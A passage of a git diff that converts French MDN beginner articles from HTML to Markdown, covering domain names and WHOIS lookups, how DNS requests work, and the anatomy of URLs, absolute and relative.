D1409563-LROR + Creation Date: 1998-01-24T05:00:00Z + Updated Date: 2013-12-08T01:16:57Z + Registry Expiry Date: 2015-01-23T05:00:00Z + Sponsoring Registrar:MarkMonitor Inc. (R37-LROR) + Sponsoring Registrar IANA ID: 292 + WHOIS Server: + Referral URL: + Domain Status: clientDeleteProhibited + Domain Status: clientTransferProhibited + Domain Status: clientUpdateProhibited + Registrant ID:mmr-33684 + Registrant Name:DNS Admin + Registrant Organization:Mozilla Foundation + Registrant Street: 650 Castro St Ste 300 + Registrant City:Mountain View + Registrant State/Province:CA + Registrant Postal Code:94041 + Registrant Country:US + Registrant Phone:+1.6509030800 -<p>Essayons avec un autre, par exemple <code>unnométrange.fr</code> :</p> +Comme on peut le voir ici, on ne peut pas réserver `mozilla.org` car ce nom de domaine est déjà réservé par la Fondation Mozilla. -<pre>> whois unnométrange.fr -... -%% No entries found in the AFNIC Database.</pre> +Essayons avec un autre, par exemple `unnométrange.fr` : -<p>On voit ici que ce nom de domaine n'existe pas dans les bases de données de serveurs <code>whois</code> (au moment où nous écrivons cet article). Si vous le souhaitiez, vous pourriez réserver ce nom !</p> + > whois unnométrange.fr + ... + %% No entries found in the AFNIC Database. -<h4 id="Obtenir_un_nom_de_domaine">Obtenir un nom de domaine</h4> +On voit ici que ce nom de domaine n'existe pas dans les bases de données de serveurs `whois` (au moment où nous écrivons cet article). Si vous le souhaitiez, vous pourriez réserver ce nom ! -<p>Le processus est assez simple :</p> +#### Obtenir un nom de domaine -<ol> - <li>Aller sur le site web d'un bureau d'enregistrement</li> - <li>Généralement, celui-ci possède une zone mise en avant pour rechercher la disponibilité d'un nom de domaine et le réserver le cas échéant. Saisissez le nom qui vous intéresse</li> - <li>Il est ensuite nécessaire de remplir un formulaire avec différentes informations et détails. Assurez-vous de leur exactitude et surtout faites attention à l'orthographe choisie pour votre nom de domaine ! Une fois que vous aurez payé, il sera trop tard !</li> - <li>Le bureau d'enregistrement vous informera dès que le nom de domaine sera enregistré et vous pourrez alors l'utiliser. Il faut parfois quelques heures pour qu'un nouveau nom de domaine soit enregistré.</li> -</ol> +Le processus est assez simple : -<div class="note"> -<p><strong>Note :</strong> Lors de ces étapes, le bureau d'enregistrement peut vous demander votre adresse postale. Assurez-vous que la valeur saisie est valide car les bureaux d'enregistrement de certains pays peuvent fermer un domaine si l'adresse fournie est invalide.</p> -</div> +1. Aller sur le site web d'un bureau d'enregistrement +2. Généralement, celui-ci possède une zone mise en avant pour rechercher la disponibilité d'un nom de domaine et le réserver le cas échéant. Saisissez le nom qui vous intéresse +3. Il est ensuite nécessaire de remplir un formulaire avec différentes informations et détails. Assurez-vous de leur exactitude et surtout faites attention à l'orthographe choisie pour votre nom de domaine ! Une fois que vous aurez payé, il sera trop tard ! +4. Le bureau d'enregistrement vous informera dès que le nom de domaine sera enregistré et vous pourrez alors l'utiliser. Il faut parfois quelques heures pour qu'un nouveau nom de domaine soit enregistré. -<h4 id="Rafraîchissement_du_DNS">Rafraîchissement du DNS</h4> +> **Note :** Lors de ces étapes, le bureau d'enregistrement peut vous demander votre adresse postale. Assurez-vous que la valeur saisie est valide car les bureaux d'enregistrement de certains pays peuvent fermer un domaine si l'adresse fournie est invalide. -<p>Des bases de données DNS sont stockées sur chaque serveur DNS, partout dans le monde. Ces serveurs font tous référence à un serveur racine et à quelques uns appelés « serveurs faisant autorité ». Dès lors qu'un bureau d'enregistrement crée ou met à jour une information pour un domaine donné, il faut que cette information soit mise à jour pour chaque base de données DNS. Or, pour faciliter certaines tâches, chaque serveur DNS stocke les informations pour une période donnée avant que celles-ci soient considérées invalides (le serveur DNS demandera alors les informations à jour au serveur faisant autorité). Pour cette raison, la mise à jour peut prendre un certain temps pendant lequel tous les serveurs DNS concernés récupèrent des informations « rafraîchies ».</p> +#### Rafraîchissement du DNS -<div class="note"> -<p><strong>Note :</strong> Ce temps est parfois appelé <strong>temps de propagation</strong>. Cependant ce terme n'est pas précis ni correct car la mise à jour ne se « propage » pas des serveurs faisant autorité vers les différents serveurs DNS. Ce sont les serveurs DNS, interrogés par votre ordinateur, qui demandent l'information aux serveurs faisant autorité dès qu'ils ont besoin des informations pour un nom de domaine ou que celles-ci sont arrivées à expiration.</p> -</div> +Des bases de données DNS sont stockées sur chaque serveur DNS, partout dans le monde. Ces serveurs font tous référence à un serveur racine et à quelques uns appelés « serveurs faisant autorité ». Dès lors qu'un bureau d'enregistrement crée ou met à jour une information pour un domaine donné, il faut que cette information soit mise à jour pour chaque base de données DNS. Or, pour faciliter certaines tâches, chaque serveur DNS stocke les informations pour une période donnée avant que celles-ci soient considérées invalides (le serveur DNS demandera alors les informations à jour au serveur faisant autorité). Pour cette raison, la mise à jour peut prendre un certain temps pendant lequel tous les serveurs DNS concernés récupèrent des informations « rafraîchies ». -<h3 id="Comment_fonctionne_une_requête_DNS">Comment fonctionne une requête DNS ?</h3> +> **Note :** Ce temps est parfois appelé **temps de propagation**. Cependant ce terme n'est pas précis ni correct car la mise à jour ne se « propage » pas des serveurs faisant autorité vers les différents serveurs DNS. Ce sont les serveurs DNS, interrogés par votre ordinateur, qui demandent l'information aux serveurs faisant autorité dès qu'ils ont besoin des informations pour un nom de domaine ou que celles-ci sont arrivées à expiration. -<p>Comme nous l'avons mentionné au début, quand on souhaite se rendre sur un site web via un navigateur, il est plus facile que de saisir une URL avec un nom de domaine que de saisir l'adresse IP du serveur correspondant. Voyons ce qui se passe quand on saisit une adresse :</p> +### Comment fonctionne une requête DNS ? -<ol> - <li>Vous saisissez <code>mozilla.org</code> dans la barre d'adresse du navigateur.</li> - <li>Le navigateur analyse l'URL (l'adresse) et identifie le nom de domaine. Il demande alors à votre ordinateur si celui-ci connaît l'adresse IP associée à ce nom de domaine (grâce à un cache DNS local). Si l'ordinateur connaît le nom de domaine, il la convertit en une adresse et la transmet au navigateur web qui échange alors avec le serveur qui a cette adresse. C'est tout.</li> - <li>Si votre ordinateur ne connait pas l'adresse IP associée au nom <code>mozilla.org</code>, il continue et demande à un serveur DNS, celui-ci renverra alors l'adresse IP correspondante au nom de domaine demandé.</li> - <li>Une fois que l'ordinateur connaît l'adresse IP demandée, le navigateur peut commencer à échanger du contenu avec le serveur web.</li> -</ol> +Comme nous l'avons mentionné au début, quand on souhaite se rendre sur un site web via un navigateur, il est plus facile que de saisir une URL avec un nom de domaine que de saisir l'adresse IP du serveur correspondant. Voyons ce qui se passe quand on saisit une adresse : -<p><img alt="Explanation of the steps needed to obtain the result to a DNS request" src="2014-10-dns-request2.png"></p> +1. Vous saisissez `mozilla.org` dans la barre d'adresse du navigateur. +2. Le navigateur analyse l'URL (l'adresse) et identifie le nom de domaine. Il demande alors à votre ordinateur si celui-ci connaît l'adresse IP associée à ce nom de domaine (grâce à un cache DNS local). Si l'ordinateur connaît le nom de domaine, il la convertit en une adresse et la transmet au navigateur web qui échange alors avec le serveur qui a cette adresse. C'est tout. +3. Si votre ordinateur ne connait pas l'adresse IP associée au nom `mozilla.org`, il continue et demande à un serveur DNS, celui-ci renverra alors l'adresse IP correspondante au nom de domaine demandé. +4. Une fois que l'ordinateur connaît l'adresse IP demandée, le navigateur peut commencer à échanger du contenu avec le serveur web. -<div class="note"> -<p><strong>Note :</strong> Si c'est la première fois que quelqu'un demande l'adresse IP pour mozilla.org au serveur DNS, celui-ci ne la connaîtra pas. Il demandera alors au serveur faisant autorité qui possède l'information. Une fois l'adresse connue, il la transmettra à l'ordinateur.</p> -</div> + -<h2 id="Étapes_suivantes">Étapes suivantes</h2> +> **Note :** Si c'est la première fois que quelqu'un demande l'adresse IP pour mozilla.org au serveur DNS, celui-ci ne la connaîtra pas. Il demandera alors au serveur faisant autorité qui possède l'information. Une fois l'adresse connue, il la transmettra à l'ordinateur. -<p>Dans ces articles, nous avons beaucoup discuté des processus et de l'infrastructure. Nous allons maintenant passer à la suite :</p> +## Étapes suivantes -<ul> - <li>Si vous souhaitez commencer, débutez en explorant les différents design possibles décrit sur <a href="/fr/Apprendre/Concevoir_page_web">concevoir une page web</a>.</li> - <li>Construire un site web peut coûter de l'argent. Vous trouverez les différentes informations sur <a href="/fr/docs/Learn/How_much_does_it_cost">combien coûte la construction d'un site web</a>.</li> - <li>Vous pouvez aussi approfondir en consultant l'article sur <a href="https://fr.wikipedia.org/wiki/Nom_de_domaine">les noms de domaine</a> sur Wikipédia.</li> -</ul> +Dans ces articles, nous avons beaucoup discuté des processus et de l'infrastructure. Nous allons maintenant passer à la suite : + +- Si vous souhaitez commencer, débutez en explorant les différents design possibles décrit sur [concevoir une page web](/fr/Apprendre/Concevoir_page_web). +- Construire un site web peut coûter de l'argent. Vous trouverez les différentes informations sur [combien coûte la construction d'un site web](/fr/docs/Learn/How_much_does_it_cost). +- Vous pouvez aussi approfondir en consultant l'article sur [les noms de domaine](https://fr.wikipedia.org/wiki/Nom_de_domaine) sur Wikipédia. diff --git a/files/fr/learn/common_questions/what_is_a_url/index.md b/files/fr/learn/common_questions/what_is_a_url/index.md index 7f3cdf0877..178bbd77f8 100644 --- a/files/fr/learn/common_questions/what_is_a_url/index.md +++ b/files/fr/learn/common_questions/what_is_a_url/index.md @@ -10,146 +10,153 @@ tags: translation_of: Learn/Common_questions/What_is_a_URL original_slug: Apprendre/Comprendre_les_URL --- -<p>Cet article aborde les <em>Uniform Resource Locators</em> (URL) en expliquant leur rôle et leur structure.</p> +Cet article aborde les _Uniform Resource Locators_ (URL) en expliquant leur rôle et leur structure. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vous devez au préalable savoir <a href="/fr/Apprendre/Fonctionnement_Internet">comment fonctionne Internet</a>, <a href="/fr/Apprendre/Qu_est-ce_qu_un_serveur_web">ce qu'est une serveur web</a> et <a href="/fr/Apprendre/Le_fonctionnement_des_liens_sur_le_Web">les concepts sous-jacents aux liens sur le Web</a>.</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Savoir ce qu'est une URL et comprendre son rôle sur le Web.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vous devez au préalable savoir + <a href="/fr/Apprendre/Fonctionnement_Internet" + >comment fonctionne Internet</a + >, + <a href="/fr/Apprendre/Qu_est-ce_qu_un_serveur_web" + >ce qu'est une serveur web</a + > + et + <a href="/fr/Apprendre/Le_fonctionnement_des_liens_sur_le_Web" + >les concepts sous-jacents aux liens sur le Web</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td>Savoir ce qu'est une URL et comprendre son rôle sur le Web.</td> + </tr> + </tbody> </table> -<p>Avec les concepts d'{{Glossary("hypertexte")}} et de {{Glossary("HTTP")}}, les <strong><dfn>URL</dfn></strong> sont une autre pierre angulaire du Web. Celles-ci sont utilisées par les navigateurs pour accéder aux différentes ressources publiées sur le Web.</p> +Avec les concepts d'{{Glossary("hypertexte")}} et de {{Glossary("HTTP")}}, les **_URL_** sont une autre pierre angulaire du Web. Celles-ci sont utilisées par les navigateurs pour accéder aux différentes ressources publiées sur le Web. -<p><strong>URL</strong> signifie <em>Uniform Resource Locator</em> (ou, en français, « localisateur uniforme de ressource »). Une URL est simplement l'adresse d'une ressource donnée, unique sur le Web. En théorie, chaque URL valide pointe vers une ressource unique. Ces ressources peuvent être des pages HTML, des documents CSS, des images, etc. En pratique, il y a quelques exceptions : les URL peuvent pointer vers une ressource qui n'existe plus ou qui a été déplacée. La ressource représentée par l'URL et l'URL elle-même sont gérées par le serveur web. C'est donc au gestionnaire de ce serveur que de gérer soigneusement la ressource et l'URL associée.</p> +**URL** signifie _Uniform Resource Locator_ (ou, en français, « localisateur uniforme de ressource »). Une URL est simplement l'adresse d'une ressource donnée, unique sur le Web. En théorie, chaque URL valide pointe vers une ressource unique. Ces ressources peuvent être des pages HTML, des documents CSS, des images, etc. En pratique, il y a quelques exceptions : les URL peuvent pointer vers une ressource qui n'existe plus ou qui a été déplacée. La ressource représentée par l'URL et l'URL elle-même sont gérées par le serveur web. C'est donc au gestionnaire de ce serveur que de gérer soigneusement la ressource et l'URL associée. -<h2 id="Pédagogie_active">Pédagogie active</h2> +## Pédagogie active -<p><em>Il n'y a pour le moment pas d'élément de pédagogie active. <a href="/fr/docs/MDN/Débuter_sur_MDN">N'hésitez pas à contribuer</a>.</em></p> +_Il n'y a pour le moment pas d'élément de pédagogie active. [N'hésitez pas à contribuer](/fr/docs/MDN/Débuter_sur_MDN)._ -<h2 id="Aller_plus_loin">Aller plus loin</h2> +## Aller plus loin -<h3 id="Les_bases_l'anatomie_d'une_URL">Les bases : l'anatomie d'une URL</h3> +### Les bases : l'anatomie d'une URL -<p>Voici quelques exemples d'URL :</p> +Voici quelques exemples d'URL : -<pre>https://developer.mozilla.org -https://developer.mozilla.org/fr/docs/Apprendre/ -https://developer.mozilla.org/fr/search?q=URL</pre> + https://developer.mozilla.org + https://developer.mozilla.org/fr/docs/Apprendre/ + https://developer.mozilla.org/fr/search?q=URL -<p>Vous pouvez saisir chacune de ces URL dans la barre d'adresse de votre navigateur afin que celui chaque la ressource associée (ici des pages HTML).</p> +Vous pouvez saisir chacune de ces URL dans la barre d'adresse de votre navigateur afin que celui chaque la ressource associée (ici des pages HTML). -<p>Une URL se compose de différents fragments dont certains sont obligatoires et d'autres optionnels. Pour commencer, voyons les parties les plus importantes d'une URL :</p> +Une URL se compose de différents fragments dont certains sont obligatoires et d'autres optionnels. Pour commencer, voyons les parties les plus importantes d'une URL : -<pre>http://www.exemple.com:80/chemin/vers/monfichier.html?clé1=valeur1&clé2=valeur2#QuelquePartDansLeDocument</pre> + http://www.exemple.com:80/chemin/vers/monfichier.html?clé1=valeur1&clé2=valeur2#QuelquePartDansLeDocument -<dl> - <dt><img alt="Protocol" src="protocole_1.png"></dt> - <dd><code>http://</code> correspond au protocole. Ce fragment indique au navigateur le protocole qui doit être utilisé pour récupérer le contenu. Généralement, ce protocole sera HTTP ou sa version sécurisée : HTTPS. Le « Web » fonctionne autour de ces deux protocoles mais le navigateur peut parfois gérer d'autres protocoles comme <code>mailto:</code> (qui permet d'ouvrir un client de messagerie électronique) ou <code>ftp:</code> qui permet de transférer des fichiers. Ne soyez pas surpris donc si vous rencontrez ces autres protocoles.</dd> - <dt><img alt="Domaine Name" src="nom_de_domaine2.png"></dt> - <dd><code>www.exemple.com</code> correspond au nom de domaine. Il indique le serveur web auquel le navigateur s'adresse pour échanger le contenu. À la place du nom de domaine, on peut utiliser une {{Glossary("adresse IP")}}, ce qui sera moins pratique (et qui est donc moins utilisé sur le Web).</dd> - <dt><img alt="Port" src="port_3.png"></dt> - <dd><code>:80</code> correspond au port utilisé sur le serveur web. Il indique la « porte » technique à utiliser pour accéder aux ressources du serveur. Généralement, ce fragment est absent car le navigateur utilise les ports standards associés aux protocoles (80 pour HTTP, 443 pour HTTPS). Si le port utilisé par le serveur n'est pas celui par défaut, il faudra l'indiquer.</dd> - <dt><img alt="Path to the file" src="chemin_4.png"></dt> - <dd><code>/chemin/vers/monfichier.html</code> est le chemin, sur le serveur web, vers la ressource. Aux débuts du Web, ce chemin correspondait souvent à un chemin « physique » existant sur le serveur. De nos jours, ce chemin n'est qu'une abstraction qui est gérée par le serveur web, il ne correspond plus à une réalité « physique ».</dd> - <dt><img alt="Parameters" src="parametres_5.png"></dt> - <dd><code>?clé1=valeur1&clé2=valeur2</code> sont des paramètres supplémentaires fournis au serveur web. Ces paramètres sont construits sous la forme d'une liste de paires de clé/valeur dont chaque élément est séparé par une esperluette (&). Le serveur web pourra utiliser ces paramètres pour effectuer des actions supplémentaires avant d'envoyer la ressource. Chaque serveur web possède ses propres règles quant aux paramètres. Afin de les connaître, le mieux est de demander au propriétaire du serveur.</dd> - <dt><img alt="Anchor" src="ancre_6.png"></dt> - <dd><code>#QuelquePartDansLeDocument</code> correspond à une ancre, celle-ci désigne un endroit donné de la ressource. Une ancre représente, en quelque sorte, un marque-page à l'intérieur de la ressource. Ajouter une ancre à une URL permet au navigateur d'afficher la ressource à l'endroit de ce marque page. Pour un document HTML, par exemple, le navigateur défilera la page jusqu'au niveau de l'ancre. Pour un document audio ou vidéo, le navigateur ira se placer à l'instant représenté par l'ancre. On notera également que la partie de l'URL située après le # n'est jamais envoyée au serveur avec la requête.</dd> -</dl> +-  + - : `http://` correspond au protocole. Ce fragment indique au navigateur le protocole qui doit être utilisé pour récupérer le contenu. Généralement, ce protocole sera HTTP ou sa version sécurisée : HTTPS. Le « Web » fonctionne autour de ces deux protocoles mais le navigateur peut parfois gérer d'autres protocoles comme `mailto:` (qui permet d'ouvrir un client de messagerie électronique) ou `ftp:` qui permet de transférer des fichiers. Ne soyez pas surpris donc si vous rencontrez ces autres protocoles. +-  + - : `www.exemple.com` correspond au nom de domaine. Il indique le serveur web auquel le navigateur s'adresse pour échanger le contenu. À la place du nom de domaine, on peut utiliser une {{Glossary("adresse IP")}}, ce qui sera moins pratique (et qui est donc moins utilisé sur le Web). +-  + - : `:80` correspond au port utilisé sur le serveur web. Il indique la « porte » technique à utiliser pour accéder aux ressources du serveur. Généralement, ce fragment est absent car le navigateur utilise les ports standards associés aux protocoles (80 pour HTTP, 443 pour HTTPS). Si le port utilisé par le serveur n'est pas celui par défaut, il faudra l'indiquer. +-  + - : `/chemin/vers/monfichier.html` est le chemin, sur le serveur web, vers la ressource. Aux débuts du Web, ce chemin correspondait souvent à un chemin « physique » existant sur le serveur. De nos jours, ce chemin n'est qu'une abstraction qui est gérée par le serveur web, il ne correspond plus à une réalité « physique ». +-  + - : `?clé1=valeur1&clé2=valeur2` sont des paramètres supplémentaires fournis au serveur web. Ces paramètres sont construits sous la forme d'une liste de paires de clé/valeur dont chaque élément est séparé par une esperluette (&). Le serveur web pourra utiliser ces paramètres pour effectuer des actions supplémentaires avant d'envoyer la ressource. Chaque serveur web possède ses propres règles quant aux paramètres. Afin de les connaître, le mieux est de demander au propriétaire du serveur. +-  + - : `#QuelquePartDansLeDocument` correspond à une ancre, celle-ci désigne un endroit donné de la ressource. Une ancre représente, en quelque sorte, un marque-page à l'intérieur de la ressource. Ajouter une ancre à une URL permet au navigateur d'afficher la ressource à l'endroit de ce marque page. Pour un document HTML, par exemple, le navigateur défilera la page jusqu'au niveau de l'ancre. Pour un document audio ou vidéo, le navigateur ira se placer à l'instant représenté par l'ancre. On notera également que la partie de l'URL située après le # n'est jamais envoyée au serveur avec la requête. -<div class="note"> -<p><strong>Note :</strong> Il existe <a href="http://en.wikipedia.org/wiki/Uniform_Resource_Locator">d'autres fragments et d'autres règles</a> pour les URL mais ceux-ci ne sont pas pertinent pour le développement web et ne sont pas nécessaires pour pouvoir construire des URL tout à fait fonctionnelles.</p> -</div> +> **Note :** Il existe [d'autres fragments et d'autres règles](http://en.wikipedia.org/wiki/Uniform_Resource_Locator) pour les URL mais ceux-ci ne sont pas pertinent pour le développement web et ne sont pas nécessaires pour pouvoir construire des URL tout à fait fonctionnelles. -<p>On peut comparer les URL avec les adresses postales : le <em>protocole</em> représente le service postal qu'on souhaite utiliser, le <em>nom de domaine</em> correspond à la ville et le <em>port</em> au code postal, le <em>chemin</em> indique le bâtiment où la lettre doit être acheminée et les <em>paramètres</em> pourraient indique le numéro de l'appartement, enfin l'<em>ancre</em> désigne la personne à laquelle la lettre est adressée.</p> +On peut comparer les URL avec les adresses postales : le _protocole_ représente le service postal qu'on souhaite utiliser, le _nom de domaine_ correspond à la ville et le _port_ au code postal, le _chemin_ indique le bâtiment où la lettre doit être acheminée et les _paramètres_ pourraient indique le numéro de l'appartement, enfin l'_ancre_ désigne la personne à laquelle la lettre est adressée. -<h3 id="Comment_utiliser_les_URL">Comment utiliser les URL</h3> +### Comment utiliser les URL -<p>N'importe quelle URL peut être saisie dans la barre d'adresse du navigateur afin d'accéder à la ressource correspondante mais ce n'est pas tout !</p> +N'importe quelle URL peut être saisie dans la barre d'adresse du navigateur afin d'accéder à la ressource correspondante mais ce n'est pas tout ! -<p>Le langage {{Glossary("HTML")}} — <a href="/fr/docs/Learn/HTML/HTML_tags">que nous verrons par la suite</a> — permet de tirer parti des URL :</p> +Le langage {{Glossary("HTML")}} — [que nous verrons par la suite](/fr/docs/Learn/HTML/HTML_tags) — permet de tirer parti des URL : -<ul> - <li>en créant des liens vers d'autres documents grâce à l'élément {{HTMLElement("a")}} ;</li> - <li>en lient des document avec les ressources associées grâce aux éléments {{HTMLElement("link")}} et {{HTMLElement("script")}} ;</li> - <li>en affichant des médias comme des images (avec l'élément {{HTMLElement("img")}}), des vidéos (avec l'élément {{HTMLElement("video")}}), des sons ou de la musique (avec l'élément {{HTMLElement("audio")}}), etc. ;</li> - <li>en affichant d'autres documents HTML grâce à l'élément {{HTMLElement("iframe")}}.</li> -</ul> +- en créant des liens vers d'autres documents grâce à l'élément {{HTMLElement("a")}} ; +- en lient des document avec les ressources associées grâce aux éléments {{HTMLElement("link")}} et {{HTMLElement("script")}} ; +- en affichant des médias comme des images (avec l'élément {{HTMLElement("img")}}), des vidéos (avec l'élément {{HTMLElement("video")}}), des sons ou de la musique (avec l'élément {{HTMLElement("audio")}}), etc. ; +- en affichant d'autres documents HTML grâce à l'élément {{HTMLElement("iframe")}}. -<p>D'autres technologies web comme {{Glossary("CSS")}} ou {{Glossary("JavaScript")}}, utilisent les URL de façon intensive.</p> +D'autres technologies web comme {{Glossary("CSS")}} ou {{Glossary("JavaScript")}}, utilisent les URL de façon intensive. -<h3 id="Les_URL_absolues_et_les_URL_relatives">Les URL absolues et les URL relatives</h3> +### Les URL absolues et les URL relatives -<p>L'URL que nous avons disséquée avant est une URL <em>absolue</em> et il existe également des URL <em>relatives</em>. Expliquons ici cette différence.</p> +L'URL que nous avons disséquée avant est une URL _absolue_ et il existe également des URL _relatives_. Expliquons ici cette différence. -<p>Les fragments nécessaires pour construire une URL fonctionnelle dépendent du contexte dans lequel l'URL est utilisée. Dans la barre d'adresse du navigateur, il n'y a aucun contexte et il faut donc fournir une URL complète (ou absolue) comme celles que nous avons vus avant. Il n'est pas nécessaire d'inclure le protocole (le navigateur utilisera HTTP par défaut) ou le port (qui est nécessaire uniquement si le serveur web utilise des ports non conventionnels), en revanche, les autres fragments seront nécessaires.</p> +Les fragments nécessaires pour construire une URL fonctionnelle dépendent du contexte dans lequel l'URL est utilisée. Dans la barre d'adresse du navigateur, il n'y a aucun contexte et il faut donc fournir une URL complète (ou absolue) comme celles que nous avons vus avant. Il n'est pas nécessaire d'inclure le protocole (le navigateur utilisera HTTP par défaut) ou le port (qui est nécessaire uniquement si le serveur web utilise des ports non conventionnels), en revanche, les autres fragments seront nécessaires. -<p>Lorsqu'une URL est utilisée dans un document (par exemple dans une page HTML), les choses sont différentes car le navigateur connaît déjà l'URL du document courant et pourra l'utiliser pour en déduire certaines informations afin de compléter les URL contenues dans le document. Une URL absolue se distingue d'une URL relative au niveau du chemin. Si le chemin de l'URL commence par le symbole <code>"/</code>", le navigateur ira cherche la ressource à la racine du serveur sans utiliser le contexte du document courant.</p> +Lorsqu'une URL est utilisée dans un document (par exemple dans une page HTML), les choses sont différentes car le navigateur connaît déjà l'URL du document courant et pourra l'utiliser pour en déduire certaines informations afin de compléter les URL contenues dans le document. Une URL absolue se distingue d'une URL relative au niveau du chemin. Si le chemin de l'URL commence par le symbole `"/`", le navigateur ira cherche la ressource à la racine du serveur sans utiliser le contexte du document courant. -<p>Prenons quelques exemples concrets pour illustrer le concept.</p> +Prenons quelques exemples concrets pour illustrer le concept. -<h4 id="Exemples_d'URL_absolues">Exemples d'URL absolues</h4> +#### Exemples d'URL absolues -<dl> - <dt>URL complète</dt> - <dd><p>Exemple :</p> - <pre>https://developer.mozilla.org/fr/docs/Apprendre</pre> - </dd> - <dt>Protocole implicite</dt> - <dd><p>Exemple :</p> - <pre>//developer.mozilla.org/fr/docs/Apprendre</pre> - <p>Dans ce cas, le navigateur saura que l'URL utilise le même protocole que celui utilisé pour charger le document qui contient cette URL.</p> - </dd> - <dt>Nom de domaine implicite</dt> - <dd><p>Exemple :</p> - <pre>/fr/docs/Apprendre</pre> - <p>Voici le cas le plus fréquent d'une URL absolue dans un document HTML. Le navigateur utilisera alors le même protocole et le même nom de domaine que ceux utilisés pour charger le document qui contient l'URL.</p> +- URL complète - <div class="note"> - <p><strong>Note :</strong> <em>Il n'est pas possible d'omettre le nom de domaine sans omettre le protocole</em>.</p> - </div> - </dd> -</dl> + - : Exemple : -<h4 id="Exemples_d'URL_relatives">Exemples d'URL relatives</h4> + https://developer.mozilla.org/fr/docs/Apprendre -<p>Pour mieux comprendre les exemples qui suivent, nous nous placerons dans le contexte où les URL suivantes sont appelées depuis un document situé à l'URL suivante <code>https://developer.mozilla.org/fr/docs/Apprendre</code></p> +- Protocole implicite -<dl> - <dt>Sous-ressources</dt> - <dd><p>Exemple :</p> - <pre>Compétences/Infrastructure/Comprendre_les_URL -</pre> - L'URL ne commence pas pas <code>/</code>, le navigateur essaiera de trouver le document visé dans un sous-répertoire de la ressource actuelle. Dans cet exemple, l'URL absolue correspondante du document auquel on souhaite accéder est : <code>https://developer.mozilla.org/fr/docs/Apprendre/Compétences/Infrastructure/Comprendre_les_URL</code></dd> - <dt>Remonter dans l'arborescence des dossiers</dt> - <dd><p>Exemple :</p> - <pre>../CSS/display</pre> + - : Exemple : - <p>Dans ce cas, on utilise la convention, héritée du monde UNIX : <code>../</code> indique au navigateur de remonter d'un répertoire dans l'arborescence. L'URL absolue correspodante à la ressource visée est ici <code>https://developer.mozilla.org/fr/docs/Apprendre/../CSS/display</code>, qui peut être simplifiée en : <code>https://developer.mozilla.org/fr/docs/CSS/display</code></p> - </dd> -</dl> + //developer.mozilla.org/fr/docs/Apprendre -<h3 id="Les_URL_sémantiques">Les URL sémantiques</h3> + Dans ce cas, le navigateur saura que l'URL utilise le même protocole que celui utilisé pour charger le document qui contient cette URL. -<p>Bien qu'utiles sur le plan technique, les URL représentent également un point d'entrée vers un site web, compréhensible par un lecteur humain. Une URL peut être mémorisée et n'importe qui peut en saisir une dans la barre d'adresse d'un navigateur. Une bonne pratique, préconisée par les concepteurs du web, est de construire des <a href="http://en.wikipedia.org/wiki/Semantic_URL"><em>URL sémantiques</em></a>. Les URL sémantiques utilisent des termes qui peuvent être compris par n'importe quel lecteur, quel que soit son niveau de connaissance.</p> +- Nom de domaine implicite -<p>Les ordinateurs n'ont pas strictement besoin d'utiliser des URL sémantiques et vous avez déjà sûrement rencontré des URL pleines de charabia et de caractères aléatoires, URL qui fonctionnaient parfaitement. Cela dit, il y a plusieurs avantages à créer des URL compréhensibles par les humains :</p> + - : Exemple : -<ul> - <li>Elles sont plus simples à manipuler</li> - <li>Elles clarifient la situation pour le visiteur et indiquent où il est, ce qu'il fait et avec qui il intéragit sur le Web</li> - <li>Elles peuvent être utilisées par certains moteurs de recherche pour améliorer le classement des pages associées à un terme donné.</li> -</ul> + /fr/docs/Apprendre -<h2 id="Prochaines_étapes">Prochaines étapes</h2> - -<ul> - <li><a href="/fr/Apprendre/Comprendre_noms_de_domaine">Comprendre les noms de domaine</a></li> -</ul> + Voici le cas le plus fréquent d'une URL absolue dans un document HTML. Le navigateur utilisera alors le même protocole et le même nom de domaine que ceux utilisés pour charger le document qui contient l'URL. + + > **Note :** _Il n'est pas possible d'omettre le nom de domaine sans omettre le protocole_. + +#### Exemples d'URL relatives + +Pour mieux comprendre les exemples qui suivent, nous nous placerons dans le contexte où les URL suivantes sont appelées depuis un document situé à l'URL suivante `https://developer.mozilla.org/fr/docs/Apprendre` + +- Sous-ressources + + - : Exemple : + + Compétences/Infrastructure/Comprendre_les_URL + + L'URL ne commence pas pas `/`, le navigateur essaiera de trouver le document visé dans un sous-répertoire de la ressource actuelle. Dans cet exemple, l'URL absolue correspondante du document auquel on souhaite accéder est : `https://developer.mozilla.org/fr/docs/Apprendre/Compétences/Infrastructure/Comprendre_les_URL` + +- Remonter dans l'arborescence des dossiers + + - : Exemple : + + ../CSS/display + + Dans ce cas, on utilise la convention, héritée du monde UNIX : `../` indique au navigateur de remonter d'un répertoire dans l'arborescence. L'URL absolue correspodante à la ressource visée est ici `https://developer.mozilla.org/fr/docs/Apprendre/../CSS/display`, qui peut être simplifiée en : `https://developer.mozilla.org/fr/docs/CSS/display` + +### Les URL sémantiques + +Bien qu'utiles sur le plan technique, les URL représentent également un point d'entrée vers un site web, compréhensible par un lecteur humain. Une URL peut être mémorisée et n'importe qui peut en saisir une dans la barre d'adresse d'un navigateur. Une bonne pratique, préconisée par les concepteurs du web, est de construire des [_URL sémantiques_](http://en.wikipedia.org/wiki/Semantic_URL). Les URL sémantiques utilisent des termes qui peuvent être compris par n'importe quel lecteur, quel que soit son niveau de connaissance. + +Les ordinateurs n'ont pas strictement besoin d'utiliser des URL sémantiques et vous avez déjà sûrement rencontré des URL pleines de charabia et de caractères aléatoires, URL qui fonctionnaient parfaitement. Cela dit, il y a plusieurs avantages à créer des URL compréhensibles par les humains : + +- Elles sont plus simples à manipuler +- Elles clarifient la situation pour le visiteur et indiquent où il est, ce qu'il fait et avec qui il intéragit sur le Web +- Elles peuvent être utilisées par certains moteurs de recherche pour améliorer le classement des pages associées à un terme donné. + +## Prochaines étapes + +- [Comprendre les noms de domaine](/fr/Apprendre/Comprendre_noms_de_domaine) diff --git a/files/fr/learn/common_questions/what_is_a_web_server/index.md b/files/fr/learn/common_questions/what_is_a_web_server/index.md index 06cd177779..e3961daf4d 100644 --- a/files/fr/learn/common_questions/what_is_a_web_server/index.md +++ b/files/fr/learn/common_questions/what_is_a_web_server/index.md @@ -8,112 +8,113 @@ tags: translation_of: Learn/Common_questions/What_is_a_web_server original_slug: Apprendre/Qu_est-ce_qu_un_serveur_web --- -<p>Dans cet article, nous verrons ce que sont les serveurs web, comment ils 